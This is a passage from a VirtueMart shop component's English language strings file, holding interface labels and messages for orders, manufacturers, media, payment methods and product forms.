    You can cancel this order within two weeks after we have received it. You can return new, unopened items from a cancelled order within 2 weeks after they have been delivered to you. Items should be returned in their original packaging. For more information on cancelling orders and returning items, see the Our Returns Policy page." COM_VIRTUEMART_LIST="List" COM_VIRTUEMART_LISTREVIEWS="List Reviews" COM_VIRTUEMART_LIST_ALL_PRODUCTS="List All Products" COM_VIRTUEMART_LIST_ALL_ROLES="All roles" COM_VIRTUEMART_LIST_ALL_TYPES="All types" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="List all %s children" COM_VIRTUEMART_LIST_EMPTY_OPTION="Please Select" COM_VIRTUEMART_LIST_ORDER="List Order" COM_VIRTUEMART_LOG="Log" COM_VIRTUEMART_LOST_PASSWORD="Lost Password?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Low Stock Notification" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="There are only {product_in_stock} stock remaining for the product {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Low Stock reached for %s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], You confirmed an order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Shopper Field List" COM_VIRTUEMART_MANUFACTURER="Manufacturer" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Manufacturer category Description" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Manufacturer category Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="List" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Manufacturer category Name" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Manufacturer categories" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Category Information" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Manufacturer Category Form" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Manufacturer Category List" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_EMAIL="Manufacturer Email" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Creates a link to the Manufacturer" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Manufacturer Information" COM_VIRTUEMART_MANUFACTURER_IMAGE="Manufacturer image" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Manufacturers" COM_VIRTUEMART_MANUFACTURER_NAME="Manufacturer Name" COM_VIRTUEMART_MANUFACTURER_S="Manufacturers" COM_VIRTUEMART_MANUFACTURER_SHOW="Show all manufacturer in this category" COM_VIRTUEMART_MANUFACTURER_URL="Manufacturer URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Manufacturer URL must start with http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MEDIA="Media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choose media type for media with filename %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media File Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media files must have a title" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media files must have an url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Media Files" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media file %s should have a mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Bmp file %s is not good choice for internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Enter your Message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description" COM_VIRTUEMART_METAINFO="Meta Information" COM_VIRTUEMART_METAKEY="Meta Keywords" COM_VIRTUEMART_METAROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="manufacturer category name" COM_VIRTUEMART_MF_NAME="Manufacturer Name" COM_VIRTUEMART_MIGRATE="Start migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Default category layout (browse page) without .php" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE_TIP="Enter here your default browse, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Default category product layout (flypage) without .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY_TIP="Enter here your default flypage, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category and additionally per product" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Rewrite order numbers" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Write here the new store owner id" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Tools & Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Use the vm1 order id as vm2 order number" COM_VIRTUEMART_MIGRA_PORTFLY="Port Fly pages" COM_VIRTUEMART_MIGRA_PORTFLY_TIP="In case you used different flypages in VM1 and you want to keep this system. Be aware it is NOT necessary anylonger to use different flypage for different number of products per row." COM_VIRTUEMART_MIGRA_SGRP_PRICES="Port shoppergroups assigned to prices" COM_VIRTUEMART_MIGRA_SGRP_PRICES_TIP="We suggest not to use this feature, except you are using multiple prices per product and shoppergroup." COM_VIRTUEMART_MISSING_FLAG="Missing Flag %1$s for language %2$s.
    Go to Extensions > Language Manager > Content, and check the parameter Image Prefix for this language." COM_VIRTUEMART_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop areas which must use https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Here you can use a comma-separated list of shop core modules (See 'Admin' ='> 'List Modules'), which will be using https connections." COM_VIRTUEMART_MONTH="Month" COM_VIRTUEMART_MONTH_S="Months" COM_VIRTUEMART_MORE="More..." COM_VIRTUEMART_MORE_CATEGORIES="more categories" COM_VIRTUEMART_MORE_IMAGES="View More Images" COM_VIRTUEMART_MORE_LANGUAGES="More languages here %1$s" COM_VIRTUEMART_MOVE="Delete/Move" COM_VIRTUEMART_MOVE_DOWN="Move Down" COM_VIRTUEMART_MOVE_UP="Move Up" COM_VIRTUEMART_MULTIPLE_PRICES="Multiple Prices" COM_VIRTUEMART_MULTISELECT="Multiselect" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="The name of the userfield contains invalid characters" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ITEM="New item" COM_VIRTUEMART_NEW_ITEMS_PLACE="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_NEW_ORDERING_SAVED="New ordering saved" COM_VIRTUEMART_NEW_ORDERING_SAVEDF="New ordering saved using %s field" COM_VIRTUEMART_NEW_USER_MESSAGE="Hello %s, a new user have registered at %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New User Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NEW_VENDOR="New Vendor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NON_UNIQUE="Error cant save %s without a non unique %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s was not unique in table %s, added random number: %s" COM_VIRTUEMART_NOODP_NOYDIR="noodp, noydir" COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW="noodp, noydir, no follow" COM_VIRTUEMART_NOTIFIED="Notified" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Was not able to save the VirtueMart userinfo address data" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NOT_AUTH="You are not authorized to view this resource." COM_VIRTUEMART_NO_ACCOUNT="No Account yet?" COM_VIRTUEMART_NO_CUSTOMER="You are not a Registered Shopper yet. Please provide your Billing Information." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No description found" COM_VIRTUEMART_NO_FILES_FOUND="No files found" COM_VIRTUEMART_NO_IMAGE_FOUND="no image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_ITEMS_SELECTED="No Items Selected" COM_VIRTUEMART_NO_MEDIA="Sorry,It's not a valid media file" COM_VIRTUEMART_NO_MEDIA_FILES="No Images Found" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="There are no payment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="No Restriction" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SEARCH_RESULT="Your search returned 0 results.
    " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="There are no shipment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Download directory not set" COM_VIRTUEMART_OFFLINE_MODE="OFFLINE MODE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use register to get the advantages of a registered user, else use save for guest checkout" COM_VIRTUEMART_ONLY_JUSER="only joomla" COM_VIRTUEMART_OPERATION_CANCELED="Operation Canceled!!" COM_VIRTUEMART_ORDER="Order" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS="Orders" COM_VIRTUEMART_ORDERSTATUS="Order Status" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Order Status Details" COM_VIRTUEMART_ORDERSTATUS_S="Order Statuses" COM_VIRTUEMART_ORDERS_LIST="Order list" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Change Bill to Address" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Change Ship to Address" COM_VIRTUEMART_ORDER_CREATE="Create order head" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Unable to delete without the order ID." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Are you sure you want to delete this Item?" COM_VIRTUEMART_ORDER_EDIT="Change Order Details" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_CALCULATE="calculate" COM_VIRTUEMART_ORDER_EDIT_CALCULATE_DESC="Calculate the value automatically, uncheck to use the input value." COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Select a Product" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Select SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Change Order" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantity must be greater than 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Edit Order ID" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Edit Order Number" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="The Product was added to the Order" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="The Product was removed from this Order" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantity has been updated" COM_VIRTUEMART_ORDER_EDIT_USER="Edit user" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Label has not been generated yet" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Order record not found in shipment label database." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Please provide a valid, numeric, Order ID, not '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Shipment Label" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature was never retrieved" COM_VIRTUEMART_ORDER_LINK="Follow this link to view the Order Details." COM_VIRTUEMART_ORDER_LIST_ID="Order ID" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notify Shopper?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Please change the Order Status first!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Order number" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Print Label" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Search by date" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Track" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Void Label" COM_VIRTUEMART_ORDER_MOD="Orders & Shoppers" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_NOT_UPDATED="No change, please change the status in the orders to update it !" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s orders of %2$s have reported errors" COM_VIRTUEMART_ORDER_RESET="Reset order head" COM_VIRTUEMART_ORDER_S="Orders" COM_VIRTUEMART_ORDER_SAVE_USER_INFO="Save order head" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="The Status of your Order No. %s has been changed." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="New Status is : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="To view the Order Details, please follow this link (or copy it into your browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Order Status Change" COM_VIRTUEMART_ORDER_STATUS_CODE="Order Status Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Order Status Code used by VirtueMart. Cannot be deleted." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="This Order Status Code already exists. Please choose another one." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Order Status Code is only one character" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart List Orders" COM_VIRTUEMART_OVERWRITE_FINAL="Overwrite final" COM_VIRTUEMART_OVERWRITE_OFF="Disabled" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Overwrite price to be taxed" COM_VIRTUEMART_PAYMENT="Payment" COM_VIRTUEMART_PAYMENTMETHOD="Payment Method" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="The selected Payment Method can't be instantiated because it doesn't exist." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="A unique code for the payment method (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Please enter a payment method code." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Please enter a payment method name." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Credit Card Types" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Payment Name" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Payment Methods name already exist. Please select another name " COM_VIRTUEMART_PAYMENTMETHOD_S="Payment Methods" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Please select a payment method to update." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Payment Method" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Select the payment method and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_PAYMENT_CLONE="Clone payment" COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY="Payment successfully cloned" COM_VIRTUEMART_PAYMENT_ELEMENT="Payment Method" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_LBL="Payment Method List" COM_VIRTUEMART_PAYMENT_LIST_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY="Payment cloning failed" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Payment successfully processed" COM_VIRTUEMART_PAYMENT_TYPE="Method Type" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="The permission group must have a name." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="The permission group name contains invalid characters" COM_VIRTUEMART_PLEASE_SEL_ITEM="Please select an item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee " COM_VIRTUEMART_PLUGIN_WARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component
    Parameters set here will not be used at all." COM_VIRTUEMART_PN_DISPLAY_NR="Display #" COM_VIRTUEMART_PREVIEW="Preview" COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRINT_VIEW="Print View" COM_VIRTUEMART_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Move Products" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Something went wrong when trying to add the product!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Add a Child Product" COM_VIRTUEMART_PRODUCT_ADD_CHILD_TIP="a Child Product can be added once this product is saved" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Add new price" COM_VIRTUEMART_PRODUCT_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="It will be available again on:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax " COM_VIRTUEMART_PRODUCT_BOX="Units in Box" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NO DESCRIPTION" COM_VIRTUEMART_PRODUCT_CALL="Call for Pricing" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Attention product is parent, please delete the children first" COM_VIRTUEMART_PRODUCT_CATEGORY="Product Category" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Product Category name" COM_VIRTUEMART_PRODUCT_CHILD="Child Product" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Product Children" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Product is Children of" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Child product created successfully" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Child Products" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Product Child Name" COM_VIRTUEMART_PRODUCT_CLONE="Clone Product" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="The product was successfully cloned" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Also clone these Child Items" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Clone Product Options" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Create Child Product" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Custom Field" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Custom
    %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Custom Fields" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="All Shoppers" COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Product Details Page" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="From" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Dimension Unit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="You can use the Product Discount Form to add discounts!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="The product discount has been added." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Discount Type" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Shall the amount be a percentage or a total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Apply generic rules" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Override" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="You can use this to temporarly discount a product" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Edit Product Child" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Send Email to shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Content" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Date sent" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Please enter a message" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Please enter a subject for the email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="No shopper bougth this product" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Select the 'Status of ordered products'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Select the 'Status of ordered products' of orders received to display the list of the shoppers who will receive the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Send Email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Send the email to the shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Send an email to shoppers who bought this product (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message about the product %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Subject" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Return to product file list" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Search Product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_ALIAS_TIP="Product Alias for SEF" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Fill in any text here that will be displayed to the shopper on the product details.
    e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OR select an Image to be displayed on the Details Page.
    The images reside in the directory %s
    " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Availability Date" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Here you can fill in the number of units in a box. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calculate the Cost price" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the Cost price with the desired Final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="After tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Before tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Are you sure you want to delete this Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Are you sure you want to delete this Product and the Items related to it?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Product Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Discounted Price" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Here you can override the discount setting. Fill in a special discount price for this product.
    The Shop will create a new discount record from the discounted price." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Discount " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Discount Type" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_GTIN="GTIN (EAN,ISBN)" COM_VIRTUEMART_PRODUCT_FORM_GTIN_TIP="Global Trade Item Number. An international number comprising for example former ISBN, EAN, UPC" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Height" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="In Stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Item Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images label" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Product item Information" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Item status" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Length" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Maximum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Minimum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MPN="MPN" COM_VIRTUEMART_PRODUCT_FORM_MPN_TIP="Part number resp. Stock Keeping Unit of the Manufacturer" COM_VIRTUEMART_PRODUCT_FORM_NAME="Product Name" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="New Product" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Booked, ordered products" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Units in a Package" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Here you can fill in the number of units in a package. (max. 65535)" 